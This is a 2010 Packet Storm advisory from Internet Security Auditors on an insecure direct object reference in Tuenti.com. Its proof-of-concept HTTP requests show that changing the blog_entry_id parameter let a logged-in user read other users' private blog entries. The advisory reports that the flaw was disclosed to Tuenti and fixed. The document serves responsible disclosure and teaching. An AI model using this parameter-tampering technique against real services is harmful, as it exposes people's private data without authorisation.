Tuenti.com Insecure Direct Object Reference

2010-09-21T00:00:00
ID PACKETSTORM:94097
Type packetstorm
Reporter Vicente Aguilera Diaz
Modified 2010-09-21T00:00:00

Description

                                        
                                            `=============================================  
INTERNET SECURITY AUDITORS ALERT 2010-008  
- Original release date: August 30th, 2010  
- Last revised: September 21st, 2010  
- Discovered by: Vicente Aguilera Diaz  
- Severity: 4/10 (CVSSv2 Base Scored)  
=============================================  
  
I. VULNERABILITY  
-------------------------  
Insecure Direct Object Reference in tuenti.com allow to read of any  
message user  
  
II. BACKGROUND  
-------------------------  
Tuenti.com is a private social platform, which is accessed by  
invitation only. Every day millions of people use it to communicate  
with each other and share information.  
  
III. DESCRIPTION  
-------------------------  
Has been detected a insecure direct object reference vulnerability in  
Tuenti.com, that allows the reading of any blog entry of any user,  
thus accessing to private messages of Tuenti.com users.  
  
The "blog_entry_id" parameter directly refer to a blog entry, so if a  
user change the value of this parameter can access to arbitrary blog  
entries.  
  
IV. PROOF OF CONCEPT  
-------------------------  
=== Original request:  
POST  
/?m=Profile&func=get_raw_blog_entry&user_id=<user_id>&ajax=1&store=0&ajax_target=none  
HTTP/1.1  
Host: wwwb21.tuenti.com  
...  
  
blog_entry_id=<blog_entry_id>&csfr=<token>  
  
where:  
- <user_id> = id of the authenticated user  
- <blog_entry_id> = id of the blog entry requested by the  
authenticated user  
- <token> = an arbitrary value, to protect against csrf attacks  
  
=== Malicious request:  
POST  
/?m=Profile&func=get_raw_blog_entry&user_id=<user_id>&ajax=1&store=0&ajax_target=none  
HTTP/1.1  
Host: wwwb21.tuenti.com  
...  
  
blog_entry_id=<another_blog_entry_id>&csfr=<token>  
  
where:  
- <user_id> = id of the authenticated user  
- <another_blog_entry_id> = id of an arbitrary blog entry, posted by  
any tuenti user  
- <token> = an arbitrary value, to protect against csrf attacks  
  
V. BUSINESS IMPACT  
-------------------------  
An attacker can read arbitrary blog entries of any tuenti.com user.  
This can leverage to access private/sensitive information of  
tuenti.com users.  
  
VI. SYSTEMS AFFECTED  
-------------------------  
Tuenti.com Social network.  
  
VII. SOLUTION  
-------------------------  
Tuenti already corrected this issue.  
  
VIII. REFERENCES  
-------------------------  
http://www.tuenti.com  
http://www.isecauditors.com  
  
IX. CREDITS  
-------------------------  
This vulnerability has been discovered  
by Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).  
  
X. REVISION HISTORY  
-------------------------  
August 30, 2010: Initial release.  
September 21, 2010: Last revision.  
  
XI. DISCLOSURE TIMELINE  
-------------------------  
August 21, 2010: Discovered by Internet Security Auditors  
August 31, 2010: Tuenti first contact. No response.  
September 2, 2010: Second contact trough other social network.  
Response from Sec. Team.  
September 3, 2010: Advisory sent to Sec. Team.  
September 8, 2010: Tuenti confirm the issue was identified due our  
tests and corrected immediately.  
September 21, 2010: Published for education purposes.  
  
XII. LEGAL NOTICES  
-------------------------  
The information contained within this advisory is supplied "as-is"  
with no warranties or guarantees of fitness of use or otherwise.  
Internet Security Auditors accepts no responsibility for any damage  
caused by the use or misuse of this information.  
  
XIII. ABOUT  
-------------------------  
Internet Security Auditors is a Spain based leader in web application  
testing, network security, penetration testing, security compliance  
implementation and assessing. Our clients include some of the largest  
companies in areas such as finance, telecommunications, insurance,  
ITC, etc. We are vendor independent provider with a deep expertise  
since 2001. Our efforts in R&D include vulnerability research, open  
security project collaboration and whitepapers, presentations and  
security events participation and promotion. For further information  
regarding our security services, contact us.  
`